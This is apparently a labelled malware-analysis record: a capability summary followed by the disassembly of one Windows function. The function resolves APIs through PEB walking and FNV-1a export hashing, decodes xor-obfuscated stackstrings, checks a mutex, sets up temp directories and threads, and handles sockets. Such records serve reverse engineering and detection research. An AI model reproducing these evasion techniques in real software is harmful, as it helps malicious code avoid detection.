Function at 0x45f1d0
Capabilities:
Access peb ldr_data
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5031f0
push eax
mov dword fs:[0], esp
sub esp, 0x80c
push ebx
push esi
push edi
push 0x20
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00414ae0
mov ebx, eax
mov ecx, edx
shrd eax, ecx, 0x10
mov ecx, ebx
shrd ecx, edx, 8
movzx esi, al
movzx eax, cl
mov ecx, 0x533b44
add esi, eax
movzx eax, bl
add esi, eax
call fcn.004027a0
push eax
call fcn.004ea997
add esp, 4
xor ecx, ecx
add esi, eax
call fcn.00402e20
sub eax, 0xffffff80
add eax, esi
push eax
call fcn.004e2cfe
add esp, 4
push 0x100
push 0
push 0x535ec0
call fcn.004df090
add esp, 0xc
mov ecx, 0x533b44
call fcn.00402650
push eax
mov ecx, 0x533b44
call fcn.004027a0
push eax
push 0x535ec0
call fcn.004deb10
add esp, 0xc
mov ecx, 0x533b74
call fcn.00402650
push eax
mov ecx, 0x533b74
call fcn.004027a0
push eax
push 0x535f24
call fcn.004deb10
add esp, 0xc
mov ecx, 0x533b44
call fcn.004027a0
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45f2b0
sub eax, edx
mov ecx, 0x533b44
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x31c]
call fcn.00402740
push eax
mov ecx, 0x533b44
call fcn.00465c90
lea ecx, [ebp - 0x31c]
call fcn.00402660
mov ecx, 0x533c4c
call fcn.004027a0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45f2f3
sub eax, edx
mov ecx, 0x533c4c
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x334]
call fcn.00402740
push eax
mov ecx, 0x533c4c
call fcn.00465c90
lea ecx, [ebp - 0x334]
call fcn.00402660
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045f010
test al, al
jne 0x45f355
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x710]
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x710]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x710]
push eax
lea ecx, [ebp - 0x400]
call fcn.00402700
sub esp, 0x18
lea eax, [ebp - 0x400]
mov ecx, esp
push eax
call fcn.00465e10
mov edx, 0x1e8c52
lea ecx, [ebp - 0x1f4]
call fcn.0040bb60
add esp, 0x18
mov ecx, 0x536280
call fcn.00402650
mov edx, dword [ebp - 0x1f4]
xor edi, edi
mov dword [ebp - 0x24], eax
mov ecx, dword [edx + 0x10]
sub ecx, eax
je 0x45f4cb
mov ecx, 0x536280
call fcn.004027a0
mov edx, dword [ebp - 0x1f4]
mov esi, eax
mov eax, edx
cmp dword [eax + 0x14], 0x10
jb 0x45f3f1
mov eax, dword [edx]
mov ecx, dword [eax + edi]
cmp ecx, dword [esi]
jne 0x45f435
mov eax, dword [eax + edi + 4]
cmp eax, dword [esi + 4]
jne 0x45f435
lea ecx, [ebp - 0x1f4]
call fcn.00464a80
mov ecx, eax
call fcn.004027a0
mov ecx, 0x536280
mov esi, dword [eax + edi + 8]
mov ebx, dword [eax + edi + 0xc]
call fcn.004027a0
cmp esi, dword [eax + 8]
jne 0x45f42f
cmp ebx, dword [eax + 0xc]
je 0x45f445
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x10]
inc edi
sub eax, dword [ebp - 0x24]
cmp edi, eax
jb 0x45f3d5
jmp 0x45f4cb
lea ecx, [ebp - 0x32]
mov dword [ebp - 0x32], 0x445b4970
mov dword [ebp - 0x2e], 0xf4a4242
mov word [ebp - 0x2a], 0x100
call fcn.0040ee70
movaps xmm0, xmmword [str.s__Y_v_AHBP_]
lea ecx, [ebp - 0x284]
movups xmmword [ebp - 0x284], xmm0
mov esi, eax
mov dword [ebp - 0x254], 0x33793622
movaps xmm0, xmmword [0x526830]
movups xmmword [ebp - 0x274], xmm0
mov dword [ebp - 0x250], 0x100632f
movaps xmm0, xmmword [0x525380]
movups xmmword [ebp - 0x264], xmm0
call fcn.00444f60
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x45f4c5
lea esi, [eax + 6]
jmp 0x46227e
mov edx, dword [ebp - 0x1f4]
push 0
mov ecx, edx
mov dword [ebp - 4], 0
call fcn.00468540
push 0
push 3
mov dword [ebp - 4], 0xffffffff
mov edi, dword [0x533ab4]
mov esi, dword [0x533ab0]
push edi
push esi
call fcn.005025b0
mov ebx, eax
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [ebp - 0x24], ebx
adc edx, dword [0x533abc]
xor ecx, esi
mov eax, edx
mov dword [ebp - 0x28], edx
xor eax, edi
or ecx, eax
je 0x45f529
sub esi, ebx
mov dword [0x533ab0], esi
sbb edi, edx
mov dword [0x533ab4], edi
test edi, edi
jg 0x45f541
jl 0x45f541
cmp esi, 0x3cf536
ja 0x45f541
test edi, edi
jg 0x45f558
jl 0x45f541
test esi, esi
jae 0x45f558
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
mov edi, dword [0x533ab4]
mov esi, dword [0x533ab0]
push 0
push 3
push edi
push esi
call fcn.005025b0
mov ebx, eax
mov eax, edi
add ebx, dword [ebp - 0x24]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [ebp - 0x28]
xor ecx, esi
xor eax, edx
mov dword [0x533abc], edx
or ecx, eax
je 0x45f593
sub esi, ebx
mov dword [0x533ab0], esi
sbb edi, edx
mov dword [0x533ab4], edi
test edi, edi
jg 0x45f5ab
jl 0x45f5ab
cmp esi, 0x3cf536
ja 0x45f5ab
test edi, edi
jg 0x45f5b6
jl 0x45f5ab
test esi, esi
jae 0x45f5b6
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
push 0x360ef
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x4f5c5a53
mov word [ebp - 0x34], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x38]
mov ecx, 0x533b8c
push eax
call fcn.00465880
test eax, eax
jne 0x45f768
call fcn.00414ca0
test al, al
je 0x45f6ad
mov eax, dword fs:[0x30]
mov dword [ebp - 0x210], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x54], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0xb0], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0xb0], ecx
cmp ecx, esi
je 0x45f684
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f684
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f67d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f660
cmp esi, 0xe80fd3a
je 0x45f688
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f644
mov eax, dword [eax]
jmp 0x45f611
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x210]
jmp 0x45f75d
call fcn.00414de0
test al, al
jne 0x45f768
mov eax, dword fs:[0x30]
mov dword [ebp - 0x150], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45f739
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f739
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f732
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f715
cmp esi, 0xe80fd3a
je 0x45f73d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f700
mov eax, dword [eax]
jmp 0x45f6d0
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x150]
add esi, edx
call fcn.00467ad0
push dword [eax]
call esi
lea ecx, [ebp - 0x106]
mov dword [ebp - 0x106], 0x4f5c5a53
mov word [ebp - 0x102], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x106]
mov ecx, 0x533b2c
push eax
call fcn.00465880
test eax, eax
jne 0x45f875
call fcn.00414e20
mov bl, al
call fcn.00414eb0
mov bh, al
call fcn.00415110
test bl, bl
jne 0x45f7cd
test bh, bh
jne 0x45f7cd
test al, al
jne 0x45f7cd
call fcn.00414ce0
test al, al
je 0x45f875
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45f849
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f849
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f842
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f825
cmp esi, 0xe80fd3a
je 0x45f84d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f810
mov eax, dword [eax]
jmp 0x45f7e0
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14]
add esi, edx
call fcn.00467ad0
push dword [eax]
call esi
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0x4f5c5a53
mov word [ebp - 0x108], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x10c]
mov ecx, 0x533c34
push eax
call fcn.00465880
test eax, eax
jne 0x45f8b2
lea ecx, [eax + 1]
call fcn.004152c0
lea ecx, [ebp - 0x112]
mov dword [ebp - 0x112], 0x4f5c5a53
mov word [ebp - 0x10e], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x112]
mov ecx, 0x533c1c
push eax
call fcn.00465880
test eax, eax
jne 0x45f8ec
call fcn.00418260
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x118], 0x4f5c5a53
mov word [ebp - 0x114], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x118]
mov ecx, 0x533b14
push eax
call fcn.00465880
mov esi, dword [0x533ab4]
test eax, eax
mov edi, dword [0x533ab0]
push 0
push 3
push esi
push edi
setne byte [ebp - 0x15]
call fcn.005025b0
mov ebx, eax
mov eax, esi
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [0x533abc]
xor ecx, edi
xor eax, edx
mov dword [0x533abc], edx
or ecx, eax
je 0x45f970
sub edi, ebx
mov dword [0x533ab0], edi
sbb esi, edx
mov dword [0x533ab4], esi
test esi, esi
jg 0x45f988
jl 0x45f988
cmp edi, 0x3cf536
ja 0x45f988
test esi, esi
jg 0x45f993
jl 0x45f988
test edi, edi
jae 0x45f993
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
lea ecx, [ebp - 0x15d]
mov dword [ebp - 0x15d], 0x42474150
mov dword [ebp - 0x159], 0x5d585f
mov dword [ebp - 0x155], 0x5d5c4b
mov byte [ebp - 0x151], 1
call fcn.00462f30
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45fa39
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fa39
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fa32
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fa15
cmp esi, 0x53b2070f
je 0x45fa3d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fa00
mov eax, dword [eax]
jmp 0x45f9d0
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x15d]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x45fa6d
xor esi, esi
jmp 0x46227e
lea ecx, [ebp - 0x1b1]
mov dword [ebp - 0x1b1], 0x63676170
mov dword [ebp - 0x1ad], 0x796965
mov dword [ebp - 0x1a9], 0x7d7c6b
mov byte [ebp - 0x1a5], 1
call fcn.0040da00
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.00480b20
lea ecx, [ebp - 0x8a]
mov word [ebp - 0x8a], 0x1d
mov byte [ebp - 0x88], 1
call fcn.00463140
push 0
lea eax, [ebp - 0x8a]
mov ecx, 0x533b74
push eax
call fcn.00465880
cmp eax, 0xffffffff
je 0x45fb72
sub esp, 0x18
mov word [ebp - 0xd3], 0x1d
lea ecx, [ebp - 0xd3]
mov byte [ebp - 0xd1], 1
mov esi, esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov ecx, esp
push 0x533b74
call fcn.00465e10
lea ecx, [ebp - 0x234]
call fcn.0040c430
add esp, 0x30
lea ecx, [ebp - 0x234]
call fcn.00464a50
cmp eax, 2
jne 0x45fb67
push 1
lea ecx, [ebp - 0x234]
call fcn.00464a30
push eax
mov ecx, 0x5360d8
call fcn.00465c60
push 0
lea ecx, [ebp - 0x234]
call fcn.00464a30
push eax
mov ecx, 0x533b74
call fcn.00465c60
lea ecx, [ebp - 0x234]
call fcn.00464b40
push 0
push 0
push 0
push 0x41ec80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x533aac], 0xffffffff
jne 0x45fc4a
nop dword [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45fc19
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fc19
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fc12
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fbf5
cmp esi, 0x2fa62ca8
je 0x45fc1d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fbe0
mov eax, dword [eax]
jmp 0x45fbb0
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x533aac], 0xffffffff
je 0x45fba0
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x138], 0x100727d
call fcn.0040a420
push eax
lea ecx, [ebp - 0x228]
call fcn.00402700
mov ecx, 0x104
lea eax, [ebp - 0x818]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45fc76
lea eax, [ebp - 0x818]
push eax
push 0xfb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x3cc]
call fcn.0040c790
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0xa3], 0x48464c46
push eax
lea ecx, [ebp - 0xa3]
mov word [ebp - 0x9f], 0x4e
mov byte [ebp - 0x9d], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x334]
call fcn.00402700
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x450]
call fcn.00469c70
add esp, 4
lea ecx, [ebp - 0x438]
mov edx, eax
call fcn.00469d70
add esp, 4
mov ecx, 0x533afc
push eax
call fcn.00465c90
lea ecx, [ebp - 0x438]
call fcn.00402660
lea ecx, [ebp - 0x450]
call fcn.00402660
lea ecx, [ebp - 0x334]
call fcn.00402660
lea ecx, [ebp - 0x334]
call fcn.00402790
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0x4e404d4f
mov word [ebp - 0x129], 0x42
mov byte [ebp - 0x127], 1
call fcn.004631b0
lea eax, [ebp - 0x3cc]
push eax
lea eax, [ebp - 0x12d]
push eax
lea ecx, [ebp - 0x480]
call fcn.00402700
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x468]
call fcn.00469c70
add esp, 4
lea ecx, [ebp - 0x24c]
mov edx, eax
call fcn.00469d70
add esp, 4
lea ecx, [ebp - 0x468]
call fcn.00402660
lea ecx, [ebp - 0x480]
call fcn.00402660
mov ecx, 0x533afc
call fcn.004027a0
mov ecx, eax
call fcn.0040bf90
test al, al
je 0x45fdd6
push 0
mov dl, 1
mov ecx, 0x533afc
call fcn.0040c050
add esp, 4
lea ecx, [ebp - 0x24c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf90
test al, al
je 0x45fdfe
push 0
mov dl, 1
lea ecx, [ebp - 0x24c]
call fcn.0040c050
add esp, 4
mov ecx, 0x533afc
call fcn.004027a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
test eax, eax
jne 0x45fe29
mov ecx, 0x533afc
call fcn.00416160
test al, al
je 0x46206b
push 0
lea ecx, [ebp - 0x24c]
call fcn.004027a0
push eax
call esi
test eax, eax
jne 0x45feb7
mov esi, dword [0x533ab4]
mov edi, dword [0x533ab0]
push eax
push 3
push esi
push edi
call fcn.005025b0
mov ebx, eax
mov eax, esi
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [0x533abc]
xor ecx, edi
xor eax, edx
mov dword [0x533abc], edx
or ecx, eax
je 0x45fe89
sub edi, ebx
mov dword [0x533ab0], edi
sbb esi, edx
mov dword [0x533ab4], esi
test esi, esi
jg 0x45fea1
jl 0x45fea1
cmp edi, 0x3cf536
ja 0x45fea1
test esi, esi
jg 0x45feac
jl 0x45fea1
test edi, edi
jae 0x45feac
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
lea ecx, [ebp - 0x24c]
call fcn.00416160
lea ecx, [ebp - 0x24c]
call fcn.004027a0
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x150], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45ff39
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ff39
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ff32
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ff15
cmp esi, 0x7a5b9fa2
je 0x45ff3d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ff00
mov eax, dword [eax]
jmp 0x45fed1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x150]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x10]
add esi, edx
call fcn.00467ad0
push dword [eax]
call esi
lea eax, [ebp - 0x24c]
mov ecx, 0x533ba4
push eax
call fcn.00465c60
call fcn.00416540
test al, al
je 0x46014f
cmp byte [ebp - 0x15], 0
jne 0x46014f
push 0x533b44
lea ecx, [ebp - 0x67]
mov dword [ebp - 0x67], 0x49404454
mov dword [ebp - 0x63], 0x47417f40
mov dword [ebp - 0x5f], 0x5c70554b
mov word [ebp - 0x5b], 0x57
mov byte [ebp - 0x59], 1
call fcn.0040a710
mov edx, eax
lea ecx, [ebp - 0x31c]
call fcn.00469c10
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x31c]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x46225b
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1f
push 0x3e0
call ebx
sub esi, 1
jne 0x460002
sub esp, 0x18
mov dword [ebp - 0x32], 0x69677e6f
lea ecx, [ebp - 0x32]
mov dword [ebp - 0x2e], 0x42414805
mov word [ebp - 0x2a], 0x100
mov esi, esp
call fcn.0040ee70
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041f140
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x460083
nop
push 0x30
call ebx
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x460060
push 2
push dword [0x533aac]
mov byte [0x535e91], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x460124
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460124
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x46011d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x460100
cmp esi, 0x2fa62ca8
je 0x460128
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x4600e5
mov eax, dword [eax]
jmp 0x4600c0
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x18a
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4600b0
mov esi, dword [0x533ab4]
mov edi, dword [0x533ab0]
push 0
push 3
push esi
push edi
call fcn.005025b0
mov ebx, eax
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [0x533abc]
xor ecx, edi
mov eax, edx
mov dword [0x533abc], edx
xor eax, esi
or ecx, eax
je 0x46019c
sub edi, ebx
mov dword [0x533ab0], edi
sbb esi, edx
mov dword [0x533ab4], esi
test esi, esi
jg 0x4601b4
jl 0x4601b4
cmp edi, 0x3cf536
ja 0x4601b4
test esi, esi
jg 0x4601bf
jl 0x4601b4
test edi, edi
jae 0x4601bf
xorps xmm0, xmm0
movlpd qword [0x533ab0], xmm0
lea ecx, [ebp - 0x8f]
mov byte [0x535ebb], 0
mov word [ebp - 0x8f], 0x5b
mov byte [ebp - 0x8d], 1
call fcn.0040a410
lea ecx, [ebp - 0x370]
mov ebx, eax
call fcn.0040d170
push 0
push 0x3050
mov edi, eax
call fcn.00407d20
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [0x533aac]
lea ecx, [ebp - 0x498]
mov esi, esp
mov dword [ebp - 0x14], eax
mov edx, edi
push 0x533b44
push ebx
call fcn.00469bb0
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00469d70
mov edx, dword [ebp - 0x10]
add esp, 4
mov ecx, dword [ebp - 0x14]
call fcn.0041e0c0
add esp, 0x18
lea ecx, [ebp - 0x498]
mov bl, al
call fcn.00402660
lea ecx, [ebp - 0x370]
call fcn.00402660
test bl, bl
je 0x460322
cmp byte [0x535ebb], 0
jne 0x460322
nop dword [eax]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x90], 0x65
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4602e9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4602e9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4602e2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4602c5
cmp esi, 0x2fa62ca8
je 0x4602ed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4602b0
mov eax, dword [eax]
jmp 0x460286
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x90]
add esi, edx
call fcn.00467ad0
push dword [eax]
call esi
cmp byte [0x535ebb], 0
je 0x460270
mov edx, 0x533ae4
lea ecx, [ebp - 0x27c]
call fcn.0041c320
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00465c60
cmp dword [0x533af4], 0
jne 0x4603cc
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x218], 0
jne 0x4603cc
mov edx, 0x533ae4
lea ecx, [ebp - 0x388]
call fcn.0041c320
mov esi, eax
lea ecx, [ebp - 0x27c]
push esi
call fcn.00465c90
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x264]
call fcn.00465c90
lea ecx, [ebp - 0x370]
call fcn.00402660
